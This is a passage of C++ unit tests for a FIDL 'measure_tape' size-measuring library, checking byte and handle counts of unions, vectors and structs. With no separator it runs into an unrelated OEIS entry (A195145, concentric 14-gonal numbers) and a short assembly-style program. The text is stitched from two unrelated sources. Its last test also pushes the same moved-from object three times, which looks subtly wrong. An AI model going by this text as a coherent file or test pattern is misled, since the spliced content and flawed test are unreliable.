24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, VectorOfHandles_Empty) { ::measuretape::TopLevelUnion value; std::vector<zx::handle> vector_of_handles; value.set_vector_of_handles(std::move(vector_of_handles)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, VectorOfHandles_ThreeHandles) { // three handles, i.e. 16 bytes payload with alignment ::measuretape::TopLevelUnion value; std::vector<zx::handle> vector_of_handles; zx::handle handle1; vector_of_handles.push_back(std::move(handle1)); zx::handle handle2; vector_of_handles.push_back(std::move(handle2)); zx::handle handle3; vector_of_handles.push_back(std::move(handle3)); value.set_vector_of_handles(std::move(vector_of_handles)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + 16); EXPECT_EQ(size.num_handles, 3); } TEST(MeasureTape, VectorOfTables_TwoEmptyTables) { ::measuretape::TopLevelUnion value; std::vector<::measuretape::Table> vector_of_tables; ::measuretape::Table t1; vector_of_tables.push_back(std::move(t1)); ::measuretape::Table t2; vector_of_tables.push_back(std::move(t2)); value.set_vector_of_tables(std::move(vector_of_tables)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (2 * 16)); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, VectorOfTables_Mixed) { ::measuretape::TopLevelUnion value; std::vector<::measuretape::Table> vector_of_tables; ::measuretape::Table t1; t1.set_primitive(27); vector_of_tables.push_back(std::move(t1)); ::measuretape::Table t2; zx::handle handle; t2.set_handle(std::move(handle)); vector_of_tables.push_back(std::move(t2)); value.set_vector_of_tables(std::move(vector_of_tables)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (2 * 16) + (5 * 16) + 8 + (4 * 16) + 8); EXPECT_EQ(size.num_handles, 1); } TEST(MeasureTape, VectorOfUnions) { ::measuretape::TopLevelUnion value; std::vector<::measuretape::Union> vector_of_unions; ::measuretape::Union u1; u1.set_primitive(654321); vector_of_unions.push_back(std::move(u1)); ::measuretape::Union u2; u2.set_primitive(123456); vector_of_unions.push_back(std::move(u2)); value.set_vector_of_unions(std::move(vector_of_unions)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (2 * 24) + 8 + 8); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, StructWithTwoVectors_BothNull) { ::measuretape::TopLevelUnion value; ::measuretape::StructWithTwoVectors struct_with_two_vectors; EXPECT_FALSE(struct_with_two_vectors.vector_of_bytes.has_value()); EXPECT_FALSE(struct_with_two_vectors.vector_of_strings.has_value()); value.set_struct_with_two_vectors(std::move(struct_with_two_vectors)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 32); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, StructWithTwoVectors_ThreeBytesInFirstTwoStringsInSecond) { ::measuretape::TopLevelUnion value; ::measuretape::StructWithTwoVectors struct_with_two_vectors; std::vector<uint8_t> vector_of_bytes = {1, 2, 3}; fidl::VectorPtr<uint8_t> ptr_vector_of_bytes(std::move(vector_of_bytes)); struct_with_two_vectors.vector_of_bytes = std::move(ptr_vector_of_bytes); std::vector<std::string> vector_of_strings = { kHelloWorldRu, // 20 bytes kHelloWorldDe, // 12 bytes }; fidl::VectorPtr<std::string> ptr_vector_of_strings(std::move(vector_of_strings)); struct_with_two_vectors.vector_of_strings = std::move(ptr_vector_of_strings); value.set_struct_with_two_vectors(std::move(struct_with_two_vectors)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 32 + 8 + (2 * 16) + 24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, VectorOfStructsWithOneHandle) { ::measuretape::TopLevelUnion value; std::vector<::measuretape::StructWithOneHandle> vector_of_structs_with_one_handle; ::measuretape::StructWithOneHandle struct_with_handle1; vector_of_structs_with_one_handle.push_back(std::move(struct_with_handle1)); ::measuretape::StructWithOneHandle struct_with_handle2; vector_of_structs_with_one_handle.push_back(std::move(struct_with_handle2)); ::measuretape::StructWithOneHandle struct_with_handle3; vector_of_structs_with_one_handle.push_back(std::move(struct_with_handle3)); value.set_vector_of_structs_with_one_handle(std::move(vector_of_structs_with_one_handle)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (3 * 12 + 4)); EXPECT_EQ(size.num_handles, 3); } TEST(MeasureTape, VectorOfStructsWithTwoHandles) { ::measuretape::TopLevelUnion value; std::vector<::measuretape::StructWithTwoHandles> vector_of_structs_with_two_handles; ::measuretape::StructWithTwoHandles struct_with_two_handles1; vector_of_structs_with_two_handles.push_back(std::move(struct_with_two_handles1)); ::measuretape::StructWithTwoHandles struct_with_two_handles2; vector_of_structs_with_two_handles.push_back(std::move(struct_with_two_handles1)); ::measuretape::StructWithTwoHandles struct_with_two_handles3; vector_of_structs_with_two_handles.push_back(std::move(struct_with_two_handles1)); value.set_vector_of_structs_with_two_handles(std::move(vector_of_structs_with_two_handles)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (3 * 12 + 4)); EXPECT_EQ(size.num_handles, 6); } } // namespace measuretape } // namespace measure_tape
; A195145: Concentric 14-gonal numbers. ; 0,1,14,29,56,85,126,169,224,281,350,421,504,589,686,785,896,1009,1134,1261,1400,1541,1694,1849,2016,2185,2366,2549,2744,2941,3150,3361,3584,3809,4046,4285,4536,4789,5054,5321,5600,5881,6174,6469,6776,7085,7406,7729,8064,8401,8750,9101,9464,9829,10206,10585,10976,11369,11774,12181,12600,13021,13454,13889,14336,14785,15246,15709,16184,16661,17150,17641,18144,18649,19166,19685,20216,20749,21294,21841,22400,22961,23534,24109,24696,25285,25886,26489,27104,27721,28350,28981,29624,30269,30926,31585 pow $0,2 mov $1,$0 div $0,2 mul $0,5 add $0,$1